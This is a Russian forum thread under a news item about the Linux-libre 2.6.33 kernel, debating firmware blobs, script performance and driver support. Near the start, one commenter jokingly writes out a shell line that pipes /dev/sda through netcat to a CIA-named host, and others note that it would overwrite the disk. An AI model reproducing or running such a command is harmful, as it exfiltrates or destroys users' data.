Латиноамериканское отделение Фонда свободного ПО анонсировало (http://www.fsfla.org/svnwiki/anuncio/2010-03-Linux-2.6.33-libre) доступность полностью свободного варианта Linux ядра 2.6.33, разработанного в рамках проекта Linux-libre (http://www.fsfla.org/svnwiki/selibre/linux-libre/). Ядро 2.6.33-libre освобождено от всех несвободных компонентов, таких как проприетарные прошивки и драйверы с бинарными вставками.
Авторы проекта Linux-libre не стали поддерживать собственную отдельную ветку Linux ядра, а вместо этого создали универсальный скрипт для удаления несвободных блоков в ядре. Скрипт содержит в себе тысячи шаблонов для определения наличия бинарных вставок и исключения ложных срабатываний. Раньше скрипт был написан на sed, но требовал для своей работы около 2 Гб ОЗУ. В текущей версии скрипт дополнительно переписан на языках Awk, Python и Perl, что позволило внушительно сократить потребление памяти, но увеличило время выполнения полного анализа: sed-вариант выполняется 3 мину...URL: http://www.fsfla.org/svnwiki/anuncio/2010-03-Linux-2.6.33-libre
Новость: http://www.opennet.me/opennews/art.shtml?num=25623
интересно, что такое код прошивок в атеросе? ;)
int fw[8][8] = {
{0x167,0x163,0x308,0x193,0x333,0x247,0x347,0x263},
{0x160,0x150,0x195,0x140,0x132,0x299,0x258,0x327},
{0x179,0x277,0x324,0x276,0x204,0x351,0x231,0x351},
{0x180,0x327,0x266,0x125,0x290,0x345,0x200,0x230},
{0x281,0x282,0x196,0x133,0x175,0x190,0x297,0x109},
{0x113,0x138,0x277,0x146,0x211,0x181,0x246,0x291},
{0x231,0x216,0x340,0x209,0x340,0x344,0x206,0x294},
{0x318,0x245,0x192,0x126,0x108,0x293,0x257,0x291}
}Знаешь что это за код? Я тоже .... :)
Хотя не... тут закодировано следующие
if [ count > savecount] then dd of=/dev/sda bs=1024k count=1024 offset=date | netcat http://cia.com/incoming/inc.cgi 16666; savecount++; fi;
Вот так, при каждом включении питания весь диск, по мегабайту, перекачается в ЦРУ.
>if [ count > savecount] then dd of=/dev/sda bs=1024k count=1024 offset=date | netcat http://cia.com/incoming/inc.cgi 16666; savecount++; fi;Вы хотели сказать if=/dev/sda ?)
>>if [ count > savecount] then dd of=/dev/sda bs=1024k count=1024 offset=date | netcat http://cia.com/incoming/inc.cgi 16666; savecount++; fi;
>
>Вы хотели сказать if=/dev/sda ?)of тоже весело .... по команде из центра ... Ж=)
Нет реально, как выглядит код прошивок. Если там микроконтроллеры, нужен специальный компилятор си или ассемблера. Если ПЛИС, ещё что-то типа VHDL
Они потому и бинарные, что уже откомпилированные и содержатся в коде в виде массивов с бинарными данными-кодом.
>Нет реально, как выглядит код прошивок. Если там микроконтроллеры, нужен специальный компилятор
>си или ассемблера. Если ПЛИС, ещё что-то типа VHDLКак! Вы ещё не видели в коде ядра ассмеблер для чипов Adaptec 7901/7902
# less drivers/scsi/aic7xxx/aicasm/aicadm.c
/* Aic7xxx SCSI host adapter firmware asssembler */
...
>Хотя не... тут закодировано следующие
>if [ count > savecount] then dd of=/dev/sda bs=1024k count=1024 offset=date | netcat
>http://cia.com/incoming/inc.cgi 16666; savecount++; fi;1) В вашей строке явно больше чем 64 байта... ;P
2) Ваша строка попахивает каким-то странным саботажем с -of= :)>Вот так, при каждом включении питания весь диск, по мегабайту, перекачается в ЦРУ.
Скорее, так можно чего-нить колоритно [beep]нуть на вашем диске и сообщить о данном досадном факте ЦРУ :)
cia.com (com-commercial) - даже прикольно :)
позволю себе поправить cia.gov - government
http://tools.ietf.org/html/rfc920а еще есть: whitehouse.gov, nasa.gov(клевый сайт), af.mil(тож клевый), navy.mil etc. их там как собак нерезанных, и прям кажный алчет када сбросят 1024 какой-нидь дряни ;)
Что за маниакальная страстишка к свободе? Как-будто завтра все производители драйверов разом поработят всех линуксоидов и отправят их на урановые рудники.
Эти люди (выпускающие свободное ядро) тебе чем-то мешают?
> Что за маниакальная страстишка к свободе? Как-будто завтра все производители драйверов разом поработят всех линуксоидов и отправят их на урановые рудники.А Вы уже купили своему ребёнку право читать?
>> Что за маниакальная страстишка к свободе? Как-будто завтра все производители драйверов разом поработят всех линуксоидов и отправят их на урановые рудники.
>
>А Вы уже купили своему ребёнку право читать?Можно подумать вы читаемые ребенком книги сами пишете... :)
Так что, косвенно это происходит со времен Александрийской и подобных древних библиотек.
Да. За 650 рублей в месяц мне доступен интернет.
не накаркать бы, но интернет и право читать - все ж таки разные вещи
>Да. За 650 рублей в месяц мне доступен интернет.Не надо подменять понятия - интернет всего лишь возможость передавать данные.
> Что за маниакальная страстишка к свободе?Жесть. Что за тяга к рабству и зависимости от воли других людей?
Вы сами поняли чего написали?
По Вашим словам: надо существовать вне общества, со всеми вытекающими...
По-вашему надо существовать в обществе рабов?
>Что за маниакальная страстишка к свободе?Да, рабы не любят тех кто тянется к свободе, утешают себя что свобода не так уж и нужна, etc и ругатся на тех кто свободен. Шаблонно. А что до производителей - вы уж извините, но мы помним AWARD_SW и еще два вагона прочих инженерных паролей^W бэкдоров. Поэтому блобам доверия нет. И не то чтобы без причины - прецеденты были, этого достаточно.
ИМХО, свободы много не бывает и если кто-то хочет получить больше свободы и меньше потенциального западлостроения, даже если что-то и не заработает - затея имеет право на жизнь.
подумал сначала, что "полностью свободный вариант Linux ядра" - это по какой-то полностью свободной лицензии вместо GPL
Времена нынче не те - ядро кишит блобами.. проплачеными блобами...
вы так говорите, как будто это плохо.
>Времена нынче не те - ядро кишит блобами.. проплачеными блобами...Дык это... есть железки в которые фирмваре грузится на лету. И или вы в них грузите фирмваре или они не работают, т.к. внутри оных нет кода для их собственного процессора.
Вот вам и свободный nvidia драйвер
DRM_NOUVEAU - Nouveau (nVidia) cards
drivers/gpu/drm/nouveau/nouveau_grctx.c: disabled non-Free firmware-loading machinery
drivers/gpu/drm/nouveau/nouveau_grctx.c: removed blobs
drivers/gpu/drm/nouveau/nv50_graph.c: removed blobs
[телепорт]
>Кому патч на 2.6.33 - http://pavlinux.ru/linux/linux-2.6.33-libre.diff.bz2А твой фирменный троян от CIA вставил? :)
>>Кому патч на 2.6.33 - http://pavlinux.ru/linux/linux-2.6.33-libre.diff.bz2
>
>А твой фирменный троян от CIA вставил? :)Это СОРМ.
Его надо оставить)
Кому патч на 2.6.33 - http://pavlinux.ru/linux/linux-2.6.33-libre.diff.bz2Радостно отметить, что ни одного устройства из BLOBов, кроме микрокода,
которого я никогда не видел, для процессоров AMD, у меня нет. =)Для полного счастья надо перелезать на видушку от Matrox
>sed-вариант выполняется 3 минуты, awk - 5 минут, а Python и Perl - 90 минут.Еще раз убедился в не прописной истине по поводу питона... Жаль, что находятся господа, которые додумываются использовать его там, где время выполнения задачи критично...
а что предлагаете использовать вместо него там, где время выполнения задачи критично?..
видимо асм и чистый си
>а что предлагаете использовать вместо него там, где время выполнения задачи критично?..
>С или С++ если код достаточно сложный. + Вставки кода на ассемблере - очень эффективно работает.
Таких программистов на планете Земля может быть всего несколько сотен: тех кто хорошо программирует на си и умеет оптимизировать критические участки на ассемблере.
>Таких программистов на планете Земля может быть всего несколько сотен: тех кто
>хорошо программирует на си и умеет оптимизировать критические участки на ассемблере.А кто тогда ядро по вашему пишет? Я думаю таких людей на самом деле очень много, просто они это не практикуют.
>>Таких программистов на планете Земля может быть всего несколько сотен: тех кто
>>хорошо программирует на си и умеет оптимизировать критические участки на ассемблере.
>
>А кто тогда ядро по вашему пишет? Я думаю таких людей на
>самом деле очень много, просто они это не практикуют.Конечно, душат попытки в зародыше... Со словами: "Оптимизируем движение вакуума!", "Загораем под луной"...
> Еще раз убедился в не прописной истине по поводу питона...А про перл мыслей никаких не возникло?
>А про перл мыслей никаких не возникло?Он древний - ему простительно. Тем более с питоном такая ситуация, что народ пытается его использовать там где надо и где не надо - с перлом такого не было.
Да ладно, у Перл первая задача - парсинг текста.
>Да ладно, у Перл первая задача - парсинг текста.Да пофигу какая там у него задача - результат на лицо - sed проехался быстрее perl`a.
>>Да ладно, у Перл первая задача - парсинг текста.
>
>Да пофигу какая там у него задача - результат на лицо -
>sed проехался быстрее perl`a.sed и ed появились по-моему раньше чем UNIX... там уж точно оптимизация вековая.
А вы видели вообще тот скрипт ???? Видимо это достижение FSF, посмотрите не пожалейте.
Объясняю почему у них так тормозит Python и Perl: сам скрипт у них на shell, из него для каждого файла вызывается фильтр, которых regexp-ом вырезает из этого файла нужные куски.
Этот скрипт для каждого файла с блобами вызывает каждый раз новую копию perl, python, awk или sed. 99.99% из того времени - это время на тысячи повторных запусков интерпретатора. Понятно, что python и perl значительно дольше запускаются, чем sed.
> Понятно, что python и perl значительно дольше запускаются, чем sed.Ты проверь сначала, прежде чем утверждать. perl почти не уcтупает dash по скорости запуска, а "значительно дольше" - применимо только к питону.
>> Понятно, что python и perl значительно дольше запускаются, чем sed.
>
>Ты проверь сначала, прежде чем утверждать. perl почти не уcтупает dash по
>скорости запуска, а "значительно дольше" - применимо только к питону.Проверил, sed c одним regex выполняется за 0m0.004s, perl - 0m0.009s, python - 0m0.144s.
Там проблема еще в том, что у них поиск блобов выполняется при помощи каких-то жутких регулярных выражений, которые (как у них самих в комментарии к скрипту написано) Perl и Питон не тянут. Там скрипт на Перле сам выглядит большей частью как проприетарный блоб.Вот пример ОДНОГО регекспа из этого скрипта:
blob '\([/][*][*]\+[/][\n]*\)*\([/][*][^*]*\([*]\+[^/*][^*]*\)*[*]*Micro[ ]code[^*]*\([*]\+[^/*][^*]*\)*[*]*8086:[^*]*\([*]\+[^/*][^*]*\)*[*]\+[/]\([\n]*[/][*][^*]*\([*]\+[^/*][^*]*\)*[*]\+[/]\)*\|#define[ ][ ]*D10\(1M\(_B\)\?\|1S\|2_E\)_\(CPUSAVER_\(TIMER\|BUNDLE\|MIN_SIZE\)_DWORD\|RCVBUNDLE_UCODE\)[ ][^\n]*\([\\][\n][^\n]*\)*\)\([\n]*[/][*][^*]*\([*]\+\([^/*]\|[/][\n]*[/][*]\+\)[^*]*\)*[*]*Micro[ ]code[^*]*\([*]\+[^/*][^*]*\)*[*]*8086:[^*]*\([*]\+[^/*][^*]*\)*[*]\+[/]\([\n]*[/][*][^*]*\([*]\+[^/*][^*]*\)*[*]\+[/]\)*\|[\n][\n]*#define[ ][ ]*D10\(1M\(_B\)\?\|1S\|2_E\)_\(CPUSAVER_\(TIMER\|BUNDLE\|MIN_SIZE\)_DWORD\|RCVBUNDLE_UCODE\)[ ]\(\\[\n]\|[^\n]\)*\)*' drivers/net/e100.c
один раз пройтись по исходникам - это не критично
>один раз пройтись по исходникам - это не критичноА почему один раз? Можно допустим гит срез делать каждый день\час и выкладывать "кашерный" кернел, что бы люди качали и радовались.
осильте git merge
>осильте git mergeСударь исключает, что при очередном мердже не притянется новый код с бинарями? Не руками же потом его дорезать...
ну по патчам скрипт должен быстрее пройтись, чем по всему коду, хотя если вы хотите делать ежедневную сборку, и каждый день лопатить полность ядро то это Ваш выбор, я Вас не буду отговаривать, но мне эта идея кажется глупой.
Спасибо за отличную статью! Она проясняет всю тему без дополнительной литературы.
Почему не сделать опцию ядра CONFIG_ISPOLZOVAT_BINARNIE_BLOBY? И зависимости от неё всех дров, использующих бинарные прошивки
>Почему не сделать опцию ядра CONFIG_ISPOLZOVAT_BINARNIE_BLOBY? И зависимости от неё всех дров,
>использующих бинарные прошивкиНичего страшного в этих блобах нет, если производитель разрешает их свободное использование. Никто же не возмущается, что в видеокарте, raid-контроллере, модеме и сетевухе блобы используются. IMHO, никакой разницы загружен блоб изначально в ROM или грузится в процессе загрузки ядра.
firmware is a part of hardware, thus this whole idea is a load of BS.
Ну да, так говорят продавцы про виндоус, когда не хотят отдавать деньги. Типа оно часть железа
>Ну да, так говорят продавцы про виндоус, когда не хотят отдавать деньги.
>Типа оно часть железаНу, тут разные мнения существуют. Но мнение самого Столлмана (если проприетарное ПО в памяти самой железки, это нормально, а если закачивается при загрузке, то это недопустимо) ИМХО нелогично.
>>Ну да, так говорят продавцы про виндоус, когда не хотят отдавать деньги.
>>Типа оно часть железа
>
>Ну, тут разные мнения существуют. Но мнение самого Столлмана (если проприетарное ПО
>в памяти самой железки, это нормально, а если закачивается при загрузке,
>то это недопустимо) ИМХО нелогично.Да не, логично... ПО в железке - не ПО.
Firmware - это снаряд, надо его правильно расположить, найти молоток и правильно еб..ть по капсуле,
и не факт, что при этом вас не разорвет на сотню маленьких юзеров.
А ПО - это граната, - дергай и кидай подальше.Представьте размер железяки, если те же функции будут собраны на железной логике.
И вмсето перепрошивки новой фирмвари, вам надо будет докупать дочернюю плату.Ещё надо заставить производетелей видюх впаявать разёмы для RAM, а то ишь пристрастились,
видюшка с 1 Gb стоит 4000 руб, а с 2Gb уже 15000, хотя 1 гиг DDR 3 стоит 40$
Там обычно разница не только в числе чипов но и зачастую в ширине шины и поюзанном чипаке, у которого куда больше блоков процессинга всего и вся. И, кстати, что это за видяха за 15 000 где юзается ... DDR3?! oO
>Там обычно разница не только в числе чипов но и зачастую в
>ширине шины и поюзанном чипаке,Толщина шины рулится контроллером памяти
> у которого куда больше блоков процессинга
>всего и вся. И, кстати, что это за видяха за 15
>000 где юзается ... DDR3?! oOДык, любой 285 и выше гфорс
там ддр5 =)
>Ну да, так говорят продавцы про виндоус, когда не хотят отдавать деньги.
>Типа оно часть железаhttp://www.opennet.me/opennews/art.shtml?num=25640
Компания Nokia объявила в введении в строй инициативы "Qt Board Verification Program" в рамках которой производителям портативных устройств и встраиваемых платформ предлагается проверить их оборудование на предмет полной совместимости с инструментарием Qt.
>firmware is a part of hardware,А есть и иная точка зрения. "Firmware is a software in silicon".
Ну а раз software - вот извините, но оно обладает всеми свойствами. А "load of BS" - это бэкдоры и "инженерные входы" по типу AWARD_SW :P.
backdoors may exist on a hardware level, so your post makes no sense :)have you ever heard of keyboards with embedded keyloggers?
have you ever heard of laptops which silently redirect some of your network traffic to an interested party?
There's no need for software to spy on us.
Простите но зачем мне такое ядро, если я с ним не смогу работать?
>Простите но зачем мне такое ядро, если я с ним не смогу работать?Кто же виноват, в том что Вы не можете?! :)
Сутки uptime и ничё работает, там поскипали дрова от железа экзотического...MICROCODE_AMD - AMD microcode patch loading support
MICROCODE_INTEL - Intel microcode patch loading support
IXP4XX_NPE - IXP4xx Network Processor Engine support
ARCH_NETX - Hilscher NetX based
ATM_AMBASSADOR - Madge Ambassador, Collage PCI 155 Server
ATM_FORE200E - FORE Systems 200E-series
ATM_SOLOS - Solos ADSL2+ PCI Multiport card driver
COMPUTONE - Computone IntelliPort Plus serial
CYCLADES - Cyclades async mux support
ISI - Multi-Tech multiport card support
MOXA_INTELLIO - Moxa Intellio support
DRM_NOUVEAU - Nouveau (nVidia) cards
DRM_R128 - ATI Rage 128
DRM_RADEON - ATI Radeon
MEDIA_TUNER_XC5000 - Xceive XC5000 silicon tuner
DVB_USB - Support for various USB DVB devices
DVB_USB_AF9005 - Afatech AF9005 DVB-T USB1.1
DVB_BT8XX - BT8xx based PCI cards
DVB_USB_A800 - AVerMedia AverTV DVB-T USB 2.0 (A800)
DVB_USB_AF9005 - Afatech AF9005 DVB-T USB1.1 support
DVB_USB_AF9015 - Afatech AF9015 DVB-T USB2.0 support
DVB_USB_CXUSB - Conexant USB2.0 hybrid reference design support
DVB_USB_DIB0700 - DiBcom DiB0700 USB DVB devices
DVB_USB_DIBUSB_MB - DiBcom USB DVB-T devices (based on the DiB3000M-B)
DVB_USB_DIGITV - Nebula Electronics uDigiTV DVB-T USB2.0 support
DVB_USB_EC168 - E3C EC168 DVB-T USB2.0 support
DVB_USB_GP8PSK - GENPIX 8PSK->USB module support
DVB_USB_M920X - Uli m920x DVB-T USB2.0 support
DVB_USB_NOVA_T_USB2 - Hauppauge WinTV-NOVA-T usb2 DVB-T USB2.0 support
DVB_USB_OPERA1 - Opera1 DVB-S USB2.0 receiver
DVB_USB_TTUSB2 - Pinnacle 400e DVB-S USB2.0 support
DVB_USB_UMT_010 - HanfTek UMT-010 DVB-T USB2.0 support
DVB_USB_VP702X - TwinhanDTV StarBox and clones DVB-S USB2.0 support
DVB_AF9013 - Afatech AF9013 demodulator
DVB_BCM3510 - Broadcom BCM3510
DVB_DS3000 - Montage Tehnology DS3000 based
DVB_OR51132 - Oren OR51132 based
DVB_OR51211 - Oren OR51211 based
DVB_SP8870 - Spase sp8870
DVB_CX24116 - Conexant CX24116 based
DVB_SP887X - Spase sp887x based
DVB_TDA10048 - Philips TDA10048HN based
DVB_AV7110 - AV7110 cards
DVB_BUDGET - Budget cards
DVB_BUDGET_AV - Budget cards with analog video inputs
DVB_BUDGET_CI - Budget cards with onboard CI connector
DVB_PLUTO2 - Pluto2 cards
SMS_SIANO_MDTV - Siano SMS1xxx based MDTV receiver
SMS_USB_DRV - Siano's USB interface support
VIDEO_BT848 - BT848 Video For Linux
VIDEO_CPIA2 - CPiA2 Video For Linux
VIDEO_CX18 - Conexant cx23418 MPEG encoder support
VIDEO_CX23885 - Conexant cx23885 (2388x successor) support
VIDEO_CX88_BLACKBIRD - Blackbird MPEG encoder support (cx2388x + cx23416)
VIDEO_PVRUSB2 - Hauppauge WinTV-PVR USB2 support
VIDEO_CX23885, VIDEO_CX88_BLACKBIRD, VIDEO_IVTV, VIDEO_PVRUSB2 - See above
VIDEO_GO7007 - Go 7007 support
VIDEO_SAA7164 - NXP SAA7164 support
USB_DABUSB - DABUSB driver
USB_S2255 - USB Sensoray 2255 video capture device
USB_VICAM - USB 3com HomeConnect, AKA vicam
BNX2 - Broadcom NetXtremeII
BNX2X - Broadcom NetXtremeII 10Gb support
CASSINI - Sun Cassini
CHELSIO_T3 - Chelsio AEL 2005 support
MYRI_SBUS - MyriCOM Gigabit Ethernet
MYRI10GE - Myricom Myri-10G Ethernet support
R8169 - Realtek 8169 gigabit ethernet support
SLICOSS - Alacritech Gigabit IS-NIC cards
SPIDER_NET - Spider Gigabit Ethernet driver
TEHUTI - Tehuti Networks 10G Ethernet
TIGON3 - Broadcom Tigon3
TYPHOON - 3cr990 series Typhoon
COPS - COPS LocalTalk PC
YAM - YAM driver for AX.25
USB_IRDA - IrDA USB dongles
PCMCIA_SMC91C92 - SMC 91Cxx PCMCIA
PCMCIA_3C574 - 3Com 3c574 PCMCIA support
PCMCIA_3C589 - 3Com 3c589 PCMCIA support
PCMCIA_PCNET - NE2000 compatible PCMCIA support
3C359 - 3Com 3C359 Token Link Velocity XL adapter
USB_KAWETH - USB KLSI KL5USB101-based ethernet device support
B43 - Broadcom 43xx wireless support (mac80211 stack)
B43LEGACY - Broadcom 43xx-legacy wireless support (mac80211 stack)
WLAGS49_H2 - Agere Systems HERMES II Wireless PC Card Model 0110
WLAGS49_H25 - Linksys Systems HERMES II.5 Wireless-G_CompactFlash_Card
IWLAGN - Intel Wireless WiFi Next Gen AGN
IWL4965 - Intel Wireless WiFi 4965AGN
IWL5000 - Intel Wireless WiFi 5000AGN
IWM - Intel Wireless Multicomm 3200 WiFi driver
IWMC3200TOP - Intel Wireless MultiCom Top Driver
OTUS - Atheros OTUS 802.11n USB wireless support
P54_PCI - Prism54 PCI support
P54_SPI - Prism54 SPI (stlc45xx) support
P54_USB - Prism54 USB support
RT2X00_LIB_FIRMWARE - Ralink driver firmware support
RT2800USB - Ralink rt2800 (USB) support
RTL8192E - RealTek RTL8192E Wireless LAN NIC driver
RTL8192U - RealTek RTL8192U Wireless LAN NIC driver
RTL8192SU - RealTek RTL8192SU Wireless LAN NIC driver
VT6656 - VIA Technologies VT6656 support
WL1251 - TI wl1251 support
WL1271 - TI wl1271 support
USB_ZD1201 - USB ZD1201 based Wireless device support
BT_ATH3K - Atheros firmware download driver
BT_HCIBCM203X - HCI BCM203x USB driver
BT_HCIBFUSB - HCI BlueFRITZ! USB driver
BT_HCIBT3C - HCI BT3C (PC Card) driver
BT_MRVL_SDIO - Marvell BT-over-SDIO driver
WIMAX_I2400M - Intel Wireless WiMAX Connection 2400
ISDN_DIVAS - Support Eicon DIVA Server cards
MISDN_SPEEDFAX - Support for Sedlbauer Speedfax+
SERIAL_ICOM - IBM Multiport Serial Adapter
SERIAL_QE - Freescale QUICC Engine serial port support
COMEDI_PCI_DRIVERS - Data acquisition support Comedi PCI drivers
COMEDI_USB_DRIVERS - Data acquisition support Comedi USB drivers
SCSI_QLOGICPTI - PTI Qlogic, ISP Driver
SCSI_ADVANSYS - AdvanSys SCSI
SCSI_BFA_FC - Brocade BFA Fibre Channel Support
SCSI_QLA_FC - QLogic QLA2XXX Fibre Channel Support
USB_CXACRU - Conexant AccessRunner USB support
USB_SPEEDTOUCH - Speedtouch USB support
USB_UEAGLEATM - ADI 930 and eagle USB DSL modem
USB_EMI26 - EMI 2|6 USB Audio interface
USB_EMI62 - EMI 6|2m USB Audio interface
USB_ISIGHTFW - iSight firmware loading support
USB_SERIAL_KEYSPAN - USB Keyspan USA-xxx Serial Driver
USB_SERIAL_KEYSPAN_PDA - USB Keyspan PDA Single Port Serial Driver
USB_SERIAL_EDGEPORT - USB Inside Out Edgeport Serial Driver
USB_SERIAL_EDGEPORT_TI - USB Inside Out Edgeport Serial Driver (TI devices)
USB_SERIAL_WHITEHEAT - USB ConnectTech WhiteHEAT Serial Driver
UWB_I1480U - Support for Intel Wireless UWB Link 1480 HWA
SND_KORG1212 - Korg 1212 IO
SND_SB16_CSP - SB16 Advanced Signal Processor
SND_WAVEFRONT - Turtle Beach Maui,Tropez,Tropez+ (Wavefront)
SND_VX_LIB - Digigram VX soundcards
SND_DARLA20 - (Echoaudio) Darla20
SND_DARLA24 - (Echoaudio) Darla24
SND_ECHO3G - (Echoaudio) 3G cards
SND_GINA20 - (Echoaudio) Gina20
SND_GINA24 - (Echoaudio) Gina24
SND_INDIGO - (Echoaudio) Indigo
SND_INDIGODJ - (Echoaudio) Indigo DJ
SND_INDIGODJX - (Echoaudio) Indigo DJx
SND_INDIGOIO - (Echoaudio) Indigo IO
SND_INDIGOIOX - (Echoaudio) Indigo IOx
SND_LAYLA20 - (Echoaudio) Layla20
SND_LAYLA24 - (Echoaudio) Layla24
SND_MIA - (Echoaudio) Mia
SND_MONA - (Echoaudio) Mona
SND_<(Echoaudio)> - (Echoaudio) all of the above
SND_EMU10K1 - Emu10k1 (SB Live!, Audigy, E-mu APS)
SND_MIXART - Digigram miXart
SND_PCXHR - Digigram PCXHR
SND_RIPTIDE - Conexant Riptide
SND_HDSP - RME Hammerfall DSP Audio
SND_AICA - Dreamcast Yamaha AICA sound
SND_MSND_PINNACLE - Support for Turtle Beach MultiSound Pinnacle
SND_MSND_CLASSIC - Support for Turtle Beach MultiSound Classic, Tahiti, Monterey
SOUND_MSNDCLAS - Support for Turtle Beach MultiSound Classic, Tahiti, Monterey (oss)
SOUND_MSNDPIN - Support for Turtle Beach MultiSound Pinnacle (oss)
SND_SSCAPE - Ensoniq SoundScape driver
SOUND_TRIX - MediaTrix AudioTrix Pro support
SOUND_TRIX - See above,
SOUND_PAS - ProAudioSpectrum 16 support,
SOUND_PSS - PSS (AD1848, ADSP-2115, ESC614) support
DX_SEP - Discretix SEP driverИз знаменитостей
MICROCODE_AMD - AMD microcode patch loading support
MICROCODE_INTEL - Intel microcode patch loading supportDRM_NOUVEAU - Nouveau (nVidia) cards
DRM_RADEON - ATI RadeonIWL3945 - Intel PRO/Wireless 3945ABG/BG Network Connection
R8169 - Realtek 8169 gigabit ethernet support
TIGON3 - Broadcom Tigon3
B43 - Broadcom 43xx wireless support (mac80211 stack)
SCSI_QLA_FC - QLogic QLA2XXX Fibre Channel Support
SOUND_SB - 100% Sound Blaster compatibles (SB16/32/64, ESS, Jazz16) support
SND_EMU10K1 - Emu10k1 (SB Live!, Audigy, E-mu APS)
>>Простите но зачем мне такое ядро, если я с ним не смогу работать?
>
>Кто же виноват, в том что Вы не можете?! :)
>Сутки uptime и ничё работает, там поскипали дрова от железа экзотического...А кто виноват, что никто-ничего-не-хочет-объяснять ?
OpenSource может быть и в софтах, но насчет распространения опыта работы с линуксом - полный и жесточаишй - copyright :(
>А кто виноват, что никто-ничего-не-хочет-объяснять ?
>OpenSource может быть и в софтах, но насчет распространения опыта работы с
>линуксом - полный и жесточаишй - copyright :(Накой хрен Вам опыт других, если он завтра уже не понадобится.
Для начала K&R (или Финогенова), Робачевский и какая нибудь мутатень про Linux для Чайников.
Потом по специализации:
Немет, TCP/IP Internals, Cisco Press (протоколы) - для админов.
Advanced Linux Proggraming - для кодеров + все выше перечисленное
Linux system programming - для системщиков + все выше перечисленное
Р.Лав + Бовет & Чезати + Смолски - для ядерщиков + все выше перечисленноеА дальше, чем больше книжек с животными на обложке, тем круче.
По Perl / MySQL / ProgreSQL / Regexp / Emacs